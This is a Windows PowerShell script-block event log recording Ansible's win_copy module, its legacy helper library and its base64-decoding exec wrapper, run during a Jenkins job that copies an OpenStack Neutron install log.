if (Test-Path -Path $src -PathType Container) {
# we are copying a directory or the contents of a directory
$result.operation = 'folder_copy'
if ($src.EndsWith("/") -or $src.EndsWith("`\")) {
# copying the folder's contents to dest
$diff = ""
$child_files = Get-ChildItem -Path $src -Force
foreach ($child_file in $child_files) {
$dest_child_path = Join-Path -Path $dest -ChildPath $child_file.Name
if ($child_file.PSIsContainer) {
$diff += Copy-Folder -source $child_file.FullName -dest $dest_child_path
} else {
$diff += (Copy-File -source $child_file.FullName -dest $dest_child_path).diff
}
}
} else {
# copying the folder and it's contents to dest
$dest = Join-Path -Path $dest -ChildPath (Get-Item -Path $src -Force).Name
$result.dest = $dest
$diff = Copy-Folder -source $src -dest $dest
}
} else {
# we are just copying a single file to dest
$result.operation = 'file_copy'
$source_basename = (Get-Item -Path $src -Force).Name
$result.original_basename = $source_basename
if ($dest.EndsWith("/") -or $dest.EndsWith("`\")) {
$dest = Join-Path -Path $dest -ChildPath (Get-Item -Path $src -Force).Name
$result.dest = $dest
} else {
# check if the parent dir exists, this is only done if src is a
# file and dest if the path to a file (doesn't end with \ or /)
$parent_dir = Split-Path -Path $dest
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
Fail-Json -obj $result -message "Destination directory '$parent_dir' does not exist"
}
}
$copy_result = Copy-File -source $src -dest $dest
$diff = $copy_result.diff
$result.checksum = $copy_result.checksum
}
# the file might not exist if running in check mode
if (-not $check_mode -or (Test-Path -Path $dest -PathType Leaf)) {
$result.size = Get-FileSize -path $dest
} else {
$result.size = $null
}
if ($diff_mode) {
$result.diff.prepared = $diff
}
} elseif ($copy_mode -eq "single") {
# a single file is located in src and we need to copy to dest, this will
# always result in a change as the calculation is done on the Ansible side
# before this is run. This should also never run in check mode
if (-not (Test-Path -Path $src -PathType Leaf)) {
Fail-Json -obj $result -message "Cannot copy src file: '$src' as it does not exist"
}
# the dest parameter is a directory, we need to append original_basename
if ($dest.EndsWith("/") -or $dest.EndsWith("`\") -or (Test-Path -Path $dest -PathType Container)) {
$remote_dest = Join-Path -Path $dest -ChildPath $original_basename
$parent_dir = Split-Path -Path $remote_dest
# when dest ends with /, we need to create the destination directories
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
New-Item -Path $parent_dir -ItemType Directory | Out-Null
}
} else {
$remote_dest = $dest
$parent_dir = Split-Path -Path $remote_dest
# check if the dest parent dirs exist, need to fail if they don't
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
Fail-Json -obj $result -message "Destination directory '$parent_dir' does not exist"
}
}
Copy-Item -Path $src -Destination $remote_dest -Force | Out-Null
$result.changed = $true
}
Exit-Json -obj $result
ScriptBlock ID: d453a6d0-3397-453c-8420-9dade441d3ea
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1567 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3616 | 3100 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:39 AM | dfeadd90-ee34-0002-d2fb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: c5e25c91-9754-47d7-8f55-eadd8379cd3b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1566 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3616 | 3724 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:39 AM | dfeadd90-ee34-0002-c5fb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: b7a118d2-2386-4a6a-a92b-0ee860d1752f
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1565 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3616 | 3724 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:39 AM | dfeadd90-ee34-0003-04ef-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
GZpbG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IpKSB7CiAgICAgICAgICAgIE5ldy1JdGVtIC1QYXRoICRwYXJlbnRfZGlyIC1JdGVtVHlwZSBEaXJlY3RvcnkgfCBPdXQtTnVsbAogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgJHJlbW90ZV9kZXN0ID0gJGRlc3QKICAgICAgICAkcGFyZW50X2RpciA9IFNwbGl0LVBhdGggLVBhdGggJHJlbW90ZV9kZXN0CgogICAgICAgICMgY2hlY2sgaWYgdGhlIGRlc3QgcGFyZW50IGRpcnMgZXhpc3QsIG5lZWQgdG8gZmFpbCBpZiB0aGV5IGRvbid0CiAgICAgICAgaWYgKFRlc3QtUGF0aCAtUGF0aCAkcGFyZW50X2RpciAtUGF0aFR5cGUgTGVhZikgewogICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0IC1tZXNzYWdlICJvYmplY3QgYXQgZGVzdGluYXRpb24gcGFyZW50IGRpciAnJHBhcmVudF9kaXInIGlzIGN1cnJlbnRseSBhIGZpbGUiCiAgICAgICAgfSBlbHNlaWYgKC1ub3QgKFRlc3QtUGF0aCAtUGF0aCAkcGFyZW50X2RpciAtUGF0aFR5cGUgQ29udGFpbmVyKSkgewogICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0IC1tZXNzYWdlICJEZXN0aW5hdGlvbiBkaXJlY3RvcnkgJyRwYXJlbnRfZGlyJyBkb2VzIG5vdCBleGlzdCIKICAgICAgICB9CiAgICB9CgogICAgQ29weS1JdGVtIC1QYXRoICRzcmMgLURlc3RpbmF0aW9uICRyZW1vdGVfZGVzdCAtRm9yY2UgfCBPdXQtTnVsbAogICAgJHJlc3VsdC5jaGFuZ2VkID0gJHRydWUKfQoKRXhpdC1Kc29uIC1vYmogJHJlc3VsdAo=", "module_args": {"symlinks": [], "files": [{"dest": "pip-install-neutron.log", "checksum": "93a311d616604c979b1d2b1537088456e332df5c", "src": "/home/jenkins-slave/.ansible/tmp/ansible-local-6900qW3ePo/tmp9fz2m3"}], "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "force": true, "_ansible_no_log": false, "dest": "c:/openstack/log", "directories": [], "_ansible_remote_tmp": "%TEMP%", "_ansible_verbosity": 4, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_copy_mode": "query", "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null, "_ansible_version": "2.7.0", "_ansible_module_name": "win_copy"}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: 817313b5-4442-405b-9aec-283cd81fb473
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1564 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3616 | 3724 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:39 AM | dfeadd90-ee34-0002-b3fb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
9CiAgICBFbHNlIHsKICAgICAgICAkcGFyYW1zID0gJGNvbXBsZXhfYXJncwogICAgfQogICAgJGNoZWNrX21vZGUgPSBHZXQtQW5zaWJsZVBhcmFtIC1vYmogJHBhcmFtcyAtbmFtZSAiX2Fuc2libGVfY2hlY2tfbW9kZSIgLXR5cGUgImJvb2wiIC1kZWZhdWx0ICRmYWxzZQogICAgSWYgKCRjaGVja19tb2RlIC1hbmQgLW5vdCAkc3VwcG9ydHNfY2hlY2tfbW9kZSkKICAgIHsKICAgICAgICBFeGl0LUpzb24gQHsKICAgICAgICAgICAgc2tpcHBlZCA9ICR0cnVlCiAgICAgICAgICAgIGNoYW5nZWQgPSAkZmFsc2UKICAgICAgICAgICAgbXNnID0gInJlbW90ZSBtb2R1bGUgZG9lcyBub3Qgc3VwcG9ydCBjaGVjayBtb2RlIgogICAgICAgIH0KICAgIH0KICAgIHJldHVybiAkcGFyYW1zCn0KCgpGdW5jdGlvbiBHZXQtRm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y5Db21wcmVzc2lvbi5aaXBBcmNoaXZlTW9kZV06OlJlYWQsIFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjgpCiAgICBmb3JlYWNoICgkZW50cnkgaW4gJGFyY2hpdmUuRW50cmllcykgewogICAgICAgICRhcmNoaXZlX25hbWUgPSAkZW50cnkuRnVsbE5hbWUKCiAgICAgICAgIyBGdWxsTmFtZSBtYXkgYmUgYXBwZW5kZWQgd2l0aCAvIG9yIFwsIGRldGVybWluZSBpZiBpdCBpcyBwYWRkZWQgYW5kIHJlbW92ZSBpdAogICAgICAgICRwYWRkaW5nX2xlbmd0aCA9ICRhcmNoaXZlX25hbWUuTGVuZ3RoICUgNAogICAgICAgIGlmICgkcGFkZGluZ19sZW5ndGggLWVxIDApIHsKICAgICAgICAgICAgJGlzX2RpciA9ICRmYWxzZQogICAgICAgICAgICAkYmFzZTY0X25hbWUgPSAkYXJjaGl2ZV9uYW1lCiAgICAgICAgfSBlbHNlaWYgKCRwYWRkaW5nX2xlbmd0aCAtZXEgMSkgewogICAgICAgICAgICAkaXNfZGlyID0gJHRydWUKICAgICAgICAgICAgaWYgKCRhcmNoaXZlX25hbWUuRW5kc1dpdGgoIi8iKSAtb3IgJGFyY2hpdmVfbmFtZS5FbmRzV2l0aCgiYFwiKSkgewogICAgICAgICAgICAgICAgJGJhc2U2NF9uYW1lID0gJGFyY2hpdmVfbmFtZS5TdWJzdHJpbmcoMCwgJGFyY2hpdmVfbmFtZS5MZW5ndGggLSAxKQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgdGhyb3cgImludmFsaWQgYmFzZTY0IGFyY2hpdmUgbmFtZSAnJGFyY2hpdmVfbmFtZSciCiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICB0aHJvdyAiaW52YWxpZCBiYXNlNjQgbGVuZ3RoICckYXJjaGl2ZV9uYW1lJyIKICAgICAgICB9CgogICAgICAgICMgdG8gaGFuZGxlIHVuaWNvZ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CiAgICAgICAgICAgICAgICBpZiAoJGNoZWNrc3VtIC1uZSAkbG9jYWxfY2hlY2tzdW0pIHsKICAgICAgICAgICAgICAgICAgICAkd2lsbF9jaGFuZ2UgPSAkdHJ1ZQogICAgICAgICAgICAgICAgICAgICRjaGFuZ2VkX2ZpbGVzICs9ICRmaWxlCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2VpZiAoVGVzdC1QYXRoIC1QYXRoICRmaWxlcGF0aCAtUGF0aFR5cGUgQ29udGFpbmVyKSB7CiAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHQgLW1lc3NhZ2UgImNhbm5vdCBjb3B5I
ScriptBlock ID: 817313b5-4442-405b-9aec-283cd81fb473
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1563 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3616 | 3724 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:39 AM | dfeadd90-ee34-0002-b3fb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-stream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lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.Legacy": "IyBDb3B5cmlnaHQgKGMpLCBNaWNoYWVsIERlSGFhbiA8bWljaGFlbC5kZWhhYW5AZ21haWwuY29tPiwgMjAxNCwgYW5kIG90aGVycwojIFNpbXBsaWZpZWQgQlNEIExpY2Vuc2UgKHNlZSBsaWNlbnNlcy9zaW1wbGlmaWVkX2JzZC50eHQgb3IgaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9CU0QtMi1DbGF1c2UpCgpTZXQtU3RyaWN0TW9kZSAtVmVyc2lvbiAyLjAKJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICJTdG9wIgoKRnVuY3Rpb24gU2V0LUF0dHIoJG9iaiwgJG5hbWUsICR2YWx1ZSkKewo8IwogICAgLlNZTk9QU0lTCiAgICBIZWxwZXIgZnVuY3Rpb24gdG8gc2V0IGFuICJhdHRyaWJ1dGUiIG9uIGEgcHNvYmplY3QgaW5zdGFuY2UgaW4gUG93ZXJTaGVsbC4KICAgIFRoaXMgaXMgYSBjb252ZW5pZW5jZSB0byBtYWtlIGFkZGluZyBNZW1iZXJzIHRvIHRoZSBvYmplY3QgZWFzaWVyIGFuZAogICAgc2xpZ2h0bHkgbW9yZSBweXRob25pYwogICAgLkVYQU1QTEUKICAgIFNldC1BdHRyICRyZXN1bHQgImNoYW5nZWQiICR0cnVlCiM+CgogICAgIyBJZiB0aGUgcHJvdmlkZWQgJG9iaiBpcyB1bmRlZmluZWQsIGRlZmluZSBvbmUgdG8gYmUgbmljZQogICAgSWYgKC1ub3QgJG9i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J5IHRvIGZpbmQgcHJlZmVycmVkIHBhcmFtZXRlciAkbmFtZQogICAgICAgICRhbGlhc2VzID0gQCgkbmFtZSkgKyAkYWxpYXNlcwoKICAgICAgICAjIEl0ZXJhdGUgb3ZlciBhbGlhc2VzIHRvIGZpbmQgYWNjZXB0YWJsZSBNZW1iZXIgJG5hbWUKICAgICAgICBmb3JlYWNoICgkYWxpYXMgaW4gJGFsaWFzZXMpIHsKICAgICAgICAgICAgaWYgKCRvYmouQ29udGFpbnNLZXkoJGFsaWFzKSkgewogICAgICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlID0gIkdldC1BbnNpYmxlUGFyYW06IEFyZ3VtZW50ICRuYW1lIG5lZWRzIHRvIGJlIG9uZSBvZiAkKCRWYWxpZGF0ZVNldCAtam9pbiAiLCIpIGJ1dCB3YXMgJCgkb2JqLiRuYW1lKS4iCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBGYWl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AkdmFsdWUgLWlzIFthcnJheV0pIHsKICAgICAgICBpZiAoJHR5cGUgLWVxICJwYXRoIikgewogICAgICAgICAgICAjIEV4cGFuZCBlbnZpcm9ubWVudCB2YXJpYWJsZXMgb24gcGF0aC10eXBlCiAgICAgICAgICAgICR2YWx1ZSA9IEV4cGFuZC1FbnZpcm9ubWVudCgkdmFsdWUpCiAgICAgICAgICAgICMgVGVzdCBpZiBhIHZhbGlkIHBhdGggaXMgcHJvdmlkZWQKICAgICAgICAgICAgaWYgKC1ub3QgKFRlc3QtUGF0aCAtSXNWYWxpZCAkdmFsdWUpKSB7CiAgICAgICAgICAgICAgI